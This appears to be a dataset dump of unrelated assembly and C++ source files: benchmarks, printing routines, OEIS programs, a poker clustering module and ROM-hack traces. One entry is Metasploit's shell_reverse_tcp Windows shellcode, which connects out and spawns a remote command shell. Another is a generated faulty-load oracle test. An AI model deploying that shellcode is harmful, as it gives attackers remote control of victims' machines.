text stringlengths 1 1.05M |
|---|
; Query SMSQmulator about different things V1.00 (c) W. Lenerz 2012
; his has practically no use
section nfa
include 'dev8_keys_java'
xdef query_java
xref ut_gxin1
xref ut_rtint
query_java
jsr ut_gxin1 ; get one int
bne.s set_out
clr.l d1
move.w (a6,a1.l),d1 ; query number
moveq #jt5.qry,d0
dc.w jva.trp5
moveq #0,d0
jmp ut_rtint
set_out rts
end
|
#include "turn_kmeans.h"
#include <cfloat>
#include <numeric>
#include <optional>
#include <thread>
#include "common.h"
#include "mean_histogram.h"
#include "turn_kmeans_plusplus_init.h"
namespace {
// calculate the distance between turn_histogram and mean_histogram and return
// the distance. however, if the distance is proved to be bigger than
// abort_threshold_dist, returns std::nullopt.
std::optional<double> calc_thist_mhist_dist_opt(
const std::vector<int32_t>& turn_histogram,
const std::vector<std::pair<int32_t, double>>& mean_histogram,
const double abort_threshold_dist) {
double total_dist = 0.0;
auto itr = mean_histogram.begin();
int k = 0;
double remaining_t = 1.0;
double remaining_m = itr->second;
while (true) {
if (remaining_t > remaining_m) {
remaining_t -= remaining_m;
total_dist += remaining_m * abs(turn_histogram[k] - itr->first);
if (total_dist >= abort_threshold_dist) return std::nullopt;
itr++;
if (itr == mean_histogram.end()) {
break;
}
remaining_m = itr->second;
} else {
remaining_m -= remaining_t;
total_dist += remaining_t * abs(turn_histogram[k] - itr->first);
if (total_dist >= abort_threshold_dist) return std::nullopt;
k++;
if (k == poker::TURN_HIST_SIZE) {
break;
}
remaining_t = 1.0;
}
}
return total_dist;
}
size_t calc_nearest_cluster_idx(
const std::vector<int32_t>& turn_hist,
std::vector<std::vector<std::pair<int32_t, double>>> mean_histograms) {
double min_dist = DBL_MAX;
size_t min_dist_idx = 0;
for (size_t mh_idx = 0; mh_idx < mean_histograms.size(); mh_idx++) {
auto mean_hist = mean_histograms[mh_idx];
auto dist_opt = calc_thist_mhist_dist_opt(turn_hist, mean_hist, min_dist);
if (dist_opt) {
min_dist = *dist_opt;
min_dist_idx = mh_idx;
}
}
return min_dist_idx;
}
} // namespace
namespace poker {
size_t turn_kmeans_once(
std::vector<size_t>* ptr_turn_clustering,
const std::vector<std::vector<int32_t>>& turn_histograms,
size_t turn_clus_size, size_t thread_count) {
auto mhist_calc = MeanHistogramsCalculator<int32_t>(turn_clus_size);
for (size_t t_idx = 0; t_idx < turn_histograms.size(); t_idx++) {
size_t cluster_idx = (*ptr_turn_clustering)[t_idx];
auto turn_histogram = turn_histograms[t_idx];
mhist_calc.add(cluster_idx, turn_histogram);
}
auto mean_histograms = mhist_calc.calc_mean_histograms(turn_histograms);
std::vector<std::thread> threads;
std::vector<size_t> update_cnts(thread_count, 0);
size_t turn_size = turn_histograms.size();
for (size_t thread_idx = 0; thread_idx < thread_count; thread_idx++) {
auto thread = std::thread(
[&ptr_turn_clustering, // will be updated
& update_cnt = update_cnts[thread_idx], // will be updated
&mean_histograms,
&turn_histograms](size_t turn_idx_begin, size_t turn_idx_end) {
for (size_t t_idx = turn_idx_begin; t_idx < turn_idx_end; t_idx++) {
size_t nearest_idx = calc_nearest_cluster_idx(
turn_histograms[t_idx], mean_histograms);
if (nearest_idx != ptr_turn_clustering->at(t_idx)) {
update_cnt++;
ptr_turn_clustering->at(t_idx) = nearest_idx;
}
}
},
// specify turn index range that the thread is responsible for
turn_size * thread_idx / thread_count,
turn_size * (thread_idx + 1) / thread_count);
threads.emplace_back(std::move(thread));
}
for (auto&& thread : threads) {
thread.join();
}
return std::accumulate(update_cnts.begin(), update_cnts.end(), 0);
}
} // namespace poker
|
BITS 64
default rel
%if (__NASM_MAJOR__ < 2) || (__NASM_MINOR__ < 11)
%deftok ver __NASM_VER__
%error Your nasm version (ver) is too old, you need at least 2.11 to compile this
%endif
%include "nasm-utils-inc.asm"
nasm_util_assert_boilerplate
thunk_boilerplate
; aligns and declares the global label for the bench with the given name
; also potentally checks the ABI compliance (if enabled)
%macro define_func 1
abi_checked_function %1
%endmacro
; define a test func that unrolls the loop by 100
; with the given body instruction
; %1 - function name
; %2 - init instruction (e.g., xor out the variable you'll add to)
; %3 - loop body instruction
%macro test_func 3
define_func %1
%2
.top:
times 100 %3
sub rdi, 100
jnz .top
ret
%endmacro
test_func scalar_iadd, {xor eax, eax}, {add rax, rax}
test_func avx128_iadd, {vpcmpeqd xmm0, xmm0, xmm0}, {vpaddq xmm0, xmm0, xmm0}
test_func avx128_iadd_t, {vpcmpeqd xmm1, xmm0, xmm0}, {vpaddq xmm0, xmm1, xmm1}
test_func avx128_imul, {vpcmpeqd xmm0, xmm0, xmm0}, {vpmuldq xmm0, xmm0, xmm0}
test_func avx128_fma , {vpxor xmm0, xmm0, xmm0}, {vfmadd132pd xmm0, xmm0, xmm0}
test_func avx256_iadd, {vpcmpeqd ymm0, ymm0, ymm0}, {vpaddq ymm0, ymm0, ymm0}
test_func avx256_iadd_t, {vpcmpeqd ymm1, ymm0, ymm0}, {vpaddq ymm0, ymm1, ymm1}
test_func avx256_imul, {vpcmpeqd ymm0, ymm0, ymm0}, {vpmuldq ymm0, ymm0, ymm0}
test_func avx256_fma , {vpxor xmm0, xmm0, xmm0}, {vfmadd132pd ymm0, ymm0, ymm0}
test_func avx512_iadd, {vpcmpeqd ymm0, ymm0, ymm0}, {vpaddq zmm0, zmm0, zmm0}
test_func avx512_imul, {vpcmpeqd ymm0, ymm0, ymm0}, {vpmuldq zmm0, zmm0, zmm0}
test_func avx512_vpermw, {vpcmpeqd ymm0, ymm0, ymm0}, {vpermw zmm0, zmm0, zmm0}
test_func avx512_vpermd, {vpcmpeqd ymm0, ymm0, ymm0}, {vpermd zmm0, zmm0, zmm0}
test_func avx512_fma , {vpxor xmm0, xmm0, xmm0}, {vfmadd132pd zmm0, zmm0, zmm0}
; this is like test_func, but it uses 10 parallel chains of instructions,
; unrolled 10 times, so (probably) max throughput
; %1 - function name
; %2 - init instruction (e.g., xor out the variable you'll add to)
; %3 - register base like xmm, ymm, zmm
; %3 - loop body instruction only (no operands)
%macro test_func_tput 5
define_func %1
; init
%assign r 0
%rep 10
%2 %3 %+ r, %5
%assign r (r+1)
%endrep
.top:
%rep 10
%assign r 0
%rep 10
%4 %3 %+ r, %3 %+ r, %3 %+ r
%assign r (r+1)
%endrep
%endrep
sub rdi, 100
jnz .top
ret
%endmacro
test_func_tput avx128_fma_t , vmovddup, xmm, vfmadd132pd, [zero_dp]
test_func_tput avx256_fma_t , vbroadcastsd, ymm, vfmadd132pd, [zero_dp]
test_func_tput avx512_fma_t , vbroadcastsd, zmm, vfmadd132pd, [zero_dp]
test_func_tput avx512_vpermw_t ,vbroadcastsd, zmm, vpermw, [zero_dp]
test_func_tput avx512_vpermd_t ,vbroadcastsd, zmm, vpermd, [zero_dp]
; this is like test_func except that the 100x unrolled loop instruction is
; always a serial scalar add, while the passed instruction to test is only
; executed once per loop (so at a ratio of 1:100 for the scalar adds). This
; test the effect of an "occasional" AVX instruction.
; %1 - function name
; %2 - init instruction (e.g., xor out the variable you'll add to)
; %3 - loop body instruction
%macro test_func_sparse 4
define_func %1
%2
%4
xor eax, eax
.top:
%3
times 100 add eax, eax
sub rdi, 100
jnz .top
ret
%endmacro
test_func_sparse avx128_mov_sparse, {vbroadcastsd ymm0, [one_dp]}, {vmovdqa xmm0, xmm0}, {}
test_func_sparse avx256_mov_sparse, {vbroadcastsd ymm0, [one_dp]}, {vmovdqa ymm0, ymm0}, {}
test_func_sparse avx512_mov_sparse, {vbroadcastsd zmm0, [one_dp]}, {vmovdqa32 zmm0, zmm0}, {}
test_func_sparse avx128_merge_sparse, {vbroadcastsd ymm0, [one_dp]}, {vmovdqa32 xmm0{k1}, xmm0}, {kmovq k1, [kmask]}
test_func_sparse avx256_merge_sparse, {vbroadcastsd ymm0, [one_dp]}, {vmovdqa32 ymm0{k1}, ymm0}, {kmovq k1, [kmask]}
test_func_sparse avx512_merge_sparse, {vbroadcastsd zmm0, [one_dp]}, {vmovdqa32 zmm0{k1}, zmm0}, {kmovq k1, [kmask]}
test_func_sparse avx128_fma_sparse, {vbroadcastsd ymm0, [zero_dp]}, {vfmadd132pd xmm0, xmm0, xmm0 }, {}
test_func_sparse avx256_fma_sparse, {vbroadcastsd ymm0, [zero_dp]}, {vfmadd132pd ymm0, ymm0, ymm0 }, {}
test_func_sparse avx512_fma_sparse, {vbroadcastsd zmm0, [zero_dp]}, {vfmadd132pd zmm0, zmm0, zmm0 }, {}
define_func ucomis
vzeroupper
;vbroadcastsd zmm15, [zero_dp]
vpxord zmm15, zmm16, zmm16
movdqu xmm0, [one_dp]
movdqu xmm2, [one_dp]
movdqu xmm1, [zero_dp]
.top:
%rep 100
addsd xmm0, xmm2
ucomisd xmm1, xmm0
ja .never
%endrep
sub rdi, 100
jnz .top
ret
.never:
ud2
define_func ucomis_vex
vzeroupper
vpxord zmm15, zmm16, zmm16
movdqu xmm0, [one_dp]
movdqu xmm2, [one_dp]
movdqu xmm1, [zero_dp]
.top:
%rep 100
vaddpd xmm0, xmm0, xmm2
%endrep
sub rdi, 100
jnz .top
ret
.never:
ud2
GLOBAL zeroupper:function
zeroupper:
vzeroupper
ret
zero_dp: dq 0.0
one_dp: dq 1.0
kmask: dq 0x5555555555555555
|
%include "macros.mac"
;; Input: eax - integer to be printed
;; Input: ebx - base of output (i.e. 0x10 for hex)
;; Return: void
;; Pulverises all registers
printBase:
sub esp, 32 ;can handle as far as binary
mov edi, esp
printBase_digit:
xor edx, edx
div ebx
cmp dl, 0xA
jb printBase_numeric
;alpha character
sub dx, 0xA
add dx, 'A'
jmp printBase_gotDigit
printBase_numeric:
add dx, '0'
printBase_gotDigit:
mov [edi], dl
inc edi
test eax, eax
jnz printBase_digit
mov edx, edi ;length of string
sub edx, esp
mov esi, esp ;si at first char
dec edi ;di at last char
printBase_reverse: ;built rtl, now needs to be flipped
mov al, [esi]
mov ah, [edi]
mov [esi], ah
mov [edi], al
inc esi
dec edi
cmp esi, edi ;keep going until they pass
jb printBase_reverse ; each other
write STDOUT, esp, edx
add esp, 32 ;be kind, rewind
ret
;; Input: eax - integer to be printed
;; Return: void
;; Pulverises all registers
printI:
;; need at most 10 digits (decimal)
sub esp, 10
mov edi, esp
printI_digit:
xor edx, edx
mov esi, 0xA
div esi ;divide by 10
add dl, 0x30 ;make ASCII digit of remainder
mov [edi], dl ;put in memory
inc edi
test eax, eax
jnz printI_digit ;keep going until 0
mov edx, edi ;length of string
sub edx, esp
mov esi, esp ;si at first char
dec edi ;di at last char
printI_reverse: ;built rtl, now needs to be flipped
mov al, [esi]
mov ah, [edi]
mov [esi], ah
mov [edi], al
inc esi
dec edi
cmp esi, edi ;keep going until they pass
jb printI_reverse ; each other
write STDOUT, esp, edx
add esp, 10 ;be kind, rewind
ret
|
; Testing the mDump Macro (TestDump.asm)
; This program demonstrates the mDump macro
INCLUDE Irvine32.inc
INCLUDE Macros.inc
.data
one BYTE "ABCDEFG"
two WORD 10h,20h,30h,40h,50h,60h
three DWORD 20000h,30000h,40000h
.code
main PROC
mDump one, Y ; display variable name
mDump two ; don't display name
mDump three, Y ; display name
exit
main ENDP
END main |
;
; Metasploit Framework
; http://www.metasploit.com
;
; Source for shell_reverse_tcp (single)
;
; Authors: vlad902 <vlad902@gmail.com>
; Size : 287
;
cld
push byte -0x15
dec ebp
call 0x2
pusha
mov ebp,[esp+0x24]
mov eax,[ebp+0x3c]
mov edi,[ebp+eax+0x78]
add edi,ebp
mov ecx,[edi+0x18]
mov ebx,[edi+0x20]
add ebx,ebp
dec ecx
mov esi,[ebx+ecx*4]
add esi,ebp
xor eax,eax
cdq
lodsb
test al,al
jz 0x34
ror edx,0xd
add edx,eax
jmp short 0x28
cmp edx,[esp+0x28]
jnz 0x1f
mov ebx,[edi+0x24]
add ebx,ebp
mov cx,[ebx+ecx*2]
mov ebx,[edi+0x1c]
add ebx,ebp
add ebp,[ebx+ecx*4]
mov [esp+0x1c],ebp
popa
ret
xor ebx,ebx
mov eax,[fs:ebx+0x30]
mov eax,[eax+0xc]
mov esi,[eax+0x1c]
lodsd
mov eax,[eax+0x8]
pop esi
push dword 0xec0e4e8e
push eax
call esi
push bx
push word 0x3233
push dword 0x5f327377
push esp
call eax
push dword 0x3bfcedcb
push eax
call esi
pop edi
mov ebp,esp
sub bp,0x208
push ebp
push byte +0x2
call eax
push dword 0xadf509d9
push edi
call esi
push ebx
push ebx
push ebx
push ebx
inc ebx
push ebx
inc ebx
push ebx
call eax
push dword 0xffffffff
push word 0x5c11
push bx
mov ecx,esp
xchg eax,ebp
push dword 0x60aaf9ec
push edi
call esi
push byte +0x10
push ecx
push ebp
call eax
o16 push byte +0x64
push word 0x6d63
push byte +0x50
pop ecx
sub esp,ecx
mov edi,esp
push byte +0x44
mov edx,esp
xor eax,eax
rep stosb
xchg eax,ebp
mov ebp,edi
inc byte [edx+0x2d]
inc byte [edx+0x2c]
lea edi,[edx+0x38]
stosd
stosd
stosd
push dword 0x16b3fe72
push dword [ebp+0x28]
call esi
pop ebx
push edi
push edx
push ecx
push ecx
push ecx
push byte +0x1
push ecx
push ecx
push ebp
push ecx
call eax
push dword 0xce05d9ad
push ebx
call esi
push byte -0x1
push dword [edi]
call eax
push dword 0x79c679e7
push dword [ebp+0x4]
call esi
push dword [edi-0x4]
call eax
push dword 0x5f048af0
push ebx
call esi
call eax
|
; A152179: (n^2-2=A008865) mod 9. Period 9:repeat 8,2,7,5,5,7,2,8,7.
; 8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7,8,2,7,5,5,7,2,8,7
add $0,3
mov $2,$0
add $0,5
mul $0,$2
mod $0,9
mov $1,$0
add $1,2
|
; A049696: a(n)=T(n,n), array T as in A049695.
; 0,2,4,8,12,20,24,36,44,56,64,84,92,116,128,144,160,192,204,240,256,280,300,344,360,400,424,460,484,540,556,616,648,688,720,768,792,864,900,948,980,1060,1084,1168
lpb $0
sub $0,1
mov $2,$0
max $2,0
seq $2,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
add $1,$2
lpe
mul $1,2
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1dc3c, %rbp
cmp $30007, %rax
and $0xffffffffffffffc0, %rbp
movntdqa (%rbp), %xmm4
vpextrq $1, %xmm4, %rcx
nop
nop
nop
cmp $10660, %r13
lea addresses_WC_ht+0x1bfc, %r12
nop
nop
sub %r10, %r10
movl $0x61626364, (%r12)
nop
nop
nop
nop
nop
sub $632, %rcx
lea addresses_A_ht+0xca9c, %rbp
nop
nop
nop
nop
nop
sub $45746, %rax
vmovups (%rbp), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %r13
nop
nop
nop
sub $59339, %rbp
lea addresses_D_ht+0x1450c, %rcx
nop
nop
nop
nop
nop
cmp %r8, %r8
mov $0x6162636465666768, %r13
movq %r13, %xmm4
and $0xffffffffffffffc0, %rcx
vmovntdq %ymm4, (%rcx)
nop
nop
xor $59352, %r13
lea addresses_D_ht+0x44fc, %rbp
nop
nop
nop
nop
nop
cmp %r10, %r10
mov (%rbp), %cx
nop
nop
nop
dec %r8
lea addresses_WT_ht+0xd6fc, %rcx
nop
nop
nop
nop
and %rbp, %rbp
movl $0x61626364, (%rcx)
nop
nop
nop
nop
dec %r13
lea addresses_normal_ht+0x10494, %rcx
nop
nop
nop
cmp $7018, %r12
mov $0x6162636465666768, %rbp
movq %rbp, %xmm7
movups %xmm7, (%rcx)
cmp %r13, %r13
lea addresses_UC_ht+0x107c, %r10
nop
nop
nop
nop
nop
dec %r13
mov (%r10), %ecx
xor %r12, %r12
lea addresses_UC_ht+0x2536, %rsi
lea addresses_WT_ht+0x17494, %rdi
nop
nop
nop
dec %r8
mov $104, %rcx
rep movsb
nop
nop
nop
xor $58436, %rsi
lea addresses_normal_ht+0x17afc, %r13
sub %r12, %r12
movl $0x61626364, (%r13)
nop
nop
nop
nop
nop
cmp %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r8
push %r9
push %rsi
// Faulty Load
lea addresses_PSE+0x17afc, %r10
nop
nop
nop
nop
nop
dec %r9
mov (%r10), %r8w
lea oracles, %r15
and $0xff, %r8
shlq $12, %r8
mov (%r15,%r8,1), %r8
pop %rsi
pop %r9
pop %r8
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 4, 'NT': True, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': True, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; ---------------------------------------------------------------------------
; Animation script - flamethrower (SBZ)
; ---------------------------------------------------------------------------
dc.w byte_EAF4-Ani_obj47
dc.w byte_EAF8-Ani_obj47
byte_EAF4: dc.b $F, 0, $FF, 0
byte_EAF8: dc.b 3, 1, 2, 1, 2, $FD, 0, 0
even |
copyright zengfr site:http://github.com/zengfr/romhack
00042C dbra D0, $42a
001036 move.w ($10,A0), D2 [123p+ 8]
0016FE move.w ($c,A6), D1 [123p+ 8, enemy+ 8, item+ 8]
0018B2 moveq #$0, D0 [123p+ 8, 123p+ A, base+744, enemy+ 8, enemy+ A, etc+ 8, etc+ A, item+ 8, item+ A]
001922 move.w ($10,A0), D1 [123p+ 8]
001926 sub.w ($8,A6), D0 [123p+ 10]
00192A bcc $1930 [123p+ 8, enemy+ 8]
004D96 dbra D0, $4d94
004E4C move.w (A0)+, ($c,A6) [123p+ 8]
004FDA sub.w ($744,A5), D0 [123p+ 8]
004FEE move.w ($10,A6), D0 [123p+ 8]
005B2A cmp.w D2, D0 [123p+ 8]
00627C sub.w ($8,A1), D0 [123p+ 8]
006336 move.w D0, ($8,A6) [base+744]
00633A jsr $12fe4.l [123p+ 8]
00662E sub.w ($8,A1), D0 [123p+ 8]
006642 sub.w ($8,A1), D0 [123p+ 8]
0066A4 sub.w ($8,A1), D0 [123p+ 8]
0066B8 sub.w ($8,A1), D0 [123p+ 8]
0067B8 sub.w ($8,A0), D0 [123p+ 8]
0067BC addi.w #$20, D0 [123p+ 8]
006838 sub.w ($8,A0), D0 [123p+ 8]
0068B2 move.w ($8,A6), ($8,A0) [123p+ 24]
0068B8 move.w ($c,A6), ($c,A0) [123p+ 8]
00697C move.w (A1)+, D0 [123p+ 8]
0095D4 sub.w ($744,A5), D0 [123p+ 8]
00965C sub.w ($744,A5), D2 [123p+ 8, enemy+ 8, item+ 8]
00979C sub.w ($744,A5), D0 [123p+ 8, enemy+ 8]
00989C sub.w ($744,A5), D2 [123p+ 8]
0098FC sub.w ($744,A5), D2 [123p+ 8]
00994A sub.w ($744,A5), D2 [123p+ 8]
0099B4 sub.w ($744,A5), D2 [123p+ 8]
009A00 sub.w ($744,A5), D2 [123p+ 8]
009A4E sub.w ($744,A5), D2 [123p+ 8]
009B0A sub.w ($744,A5), D0 [123p+ 8, enemy+ 8]
009B66 sub.w ($744,A5), D0 [123p+ 8]
009BD4 sub.w ($744,A5), D0 [123p+ 8]
009C26 sub.w ($744,A5), D0 [123p+ 8, enemy+ 8]
010AE0 cmp.w ($8,A3), D0 [123p+ 8]
01119C cmp.w ($8,A3), D0 [123p+ 8]
011244 cmp.w ($8,A3), D0 [123p+ 8]
011A8E cmp.w ($8,A3), D0 [123p+ 8]
012730 move.w (A4)+, D1 [123p+ 8, enemy+ 8, item+ 8]
012748 move.w (A6)+, D3 [123p+ 8, enemy+ 8, etc+ 8, item+ 8]
01280C move.w (A4)+, D1 [123p+ 8]
012950 move.w (A4)+, D1 [123p+ 8, enemy+ 8, item+ 8]
012966 move.w (A6)+, D3 [123p+ 8, enemy+ 8, etc+ 8, item+ 8]
0129EC move.w ($4,A4), D1 [123p+ 8]
012EF0 cmp.w D2, D0 [123p+ 8, enemy+ 8]
012F96 rts [123p+ 8, enemy+ 8]
012FF0 move.w ($8,A6), D2 [base+6AC, base+6AE]
012FF4 move.w ($4,A0), D0 [123p+ 8, enemy+ 8, item+ 8]
01305E neg.w D0 [123p+ 8]
0130A0 move.w ($10,A6), D1 [123p+ 8, enemy+ 8, item+ 8]
0131B4 move.b ($f,A0), ($50,A6) [123p+ 8, enemy+ 8, etc+ 8, item+ 8]
0131D2 move.b ($f,A0), ($50,A6) [123p+ 8, enemy+ 8, etc+ 8, item+ 8]
01328E move.b ($f,A0), ($50,A6) [123p+ 8, enemy+ 8, item+ 8]
0132C0 move.b ($f,A0), ($50,A6) [123p+ 8, enemy+ 8, item+ 8]
013554 move.b ($f,A0), ($50,A6) [123p+ 8, enemy+ 8, etc+ 8, item+ 8]
013568 move.b ($f,A0), ($50,A6) [123p+ 8, enemy+ 8, item+ 8]
01359E move.b ($f,A0), ($50,A6) [123p+ 8, enemy+ 8, etc+ 8]
013632 move.w ($8,A6), D0 [123p+ 10]
013636 tst.b ($4dc,A5) [123p+ 8]
01413A move.w ($8,A0), D1 [123p+ 53]
01413E move.w ($c,A0), D2 [123p+ 8]
01415C move.w ($3e,A0), D0 [123p+ 8]
014170 move.w D1, ($8,A0) [123p+ 53]
014174 move.w D2, ($c,A0) [123p+ 8]
01425C move.w ($c,A0), D5 [123p+ 8, enemy+ 8, etc+ 8, item+ 8]
014F24 sub.w ($69b6,A5), D4 [123p+ 8, enemy+ 8, item+ 8]
018B6E move.w ($748,A5), ($10,A6) [123p+ 8]
01C078 cmp.w ($8,A6), D0 [123p+ 8, enemy+ 8]
01C07C bcc $1c082 [123p+ 8]
01C13A cmp.w ($8,A6), D0 [123p+ 8, enemy+ 8]
01C13E bcc $1c144 [123p+ 8]
01C1DA cmp.w ($8,A6), D0 [123p+ 8, enemy+ 8]
01C1DE bcc $1c1e4 [123p+ 8]
01C3BA cmp.w ($8,A6), D0 [123p+ 8, enemy+ 8]
01C3BE bcc $1c3c4 [123p+ 8]
01C712 bcs $1c718 [123p+ 8]
01C8F4 cmp.w ($8,A6), D0 [123p+ 8, enemy+ 8]
01C8F8 bcc $1c8fe [123p+ 8]
01D7DC add.w ($c,A6), D1 [123p+ 8]
01D92C add.w ($c,A6), D1 [123p+ 8]
01DF28 sub.w ($8,A6), D1 [123p+ DC]
01DF2C bcs $1df32 [123p+ 8]
01DF74 sub.w ($dc,A6), D0 [123p+ 8]
01E1C6 cmp.w ($8,A2), D0 [123p+ 8]
01E1CA bge $1e1d4 [123p+ 8]
01E1DC cmp.w ($8,A3), D0 [123p+ 8]
01E320 sub.w ($8,A6), D1 [123p+ DC]
01E324 bcs $1e32a [123p+ 8]
01E358 move.w ($8,A6), D0 [123p+ A0]
01E35C sub.w ($dc,A6), D0 [123p+ 8]
01E61C bgt $1e624 [123p+ 8]
01E622 movea.l A1, A0 [123p+ 8]
020B16 bcc $20b1c [123p+ 8]
020B1C cmp.w ($8,A0), D1 [123p+ 8]
020B20 bls $20b26 [123p+ 8]
020B26 rts [123p+ 8]
024ABC move.w ($c,A0), D1 [123p+ 8]
026526 add.w ($c,A0), D1 [123p+ 8]
02AAA2 cmp.w ($8,A6), D2 [123p+ 8]
0320D0 sub.w ($8,A6), D0 [123p+ 8]
032220 sub.w ($327c,A5), D0 [enemy+ 8]
032224 bcs $32234 [123p+ 8]
0324B4 move.w ($8,A2), D1 [123p+ E5]
0324B8 cmp.w ($8,A1), D1 [123p+ 8]
032940 move.w ($8,A4), D0 [enemy+76]
032944 moveq #$7, D1 [123p+ 8]
032A5C move.w ($8,A0), D1 [enemy+76]
032A60 move.w ($10,A0), D2 [123p+ 8]
032A8C move.w ($8,A0), D1 [enemy+76]
032A90 move.w ($10,A0), D2 [123p+ 8]
032B6C move.w ($8,A0), D1 [enemy+76]
032B70 move.w ($10,A0), D2 [123p+ 8]
032C98 move.w ($8,A0), D1 [enemy+76]
032C9C move.w ($10,A0), D2 [123p+ 8]
032CB4 move.w ($8,A0), D0 [enemy+8A]
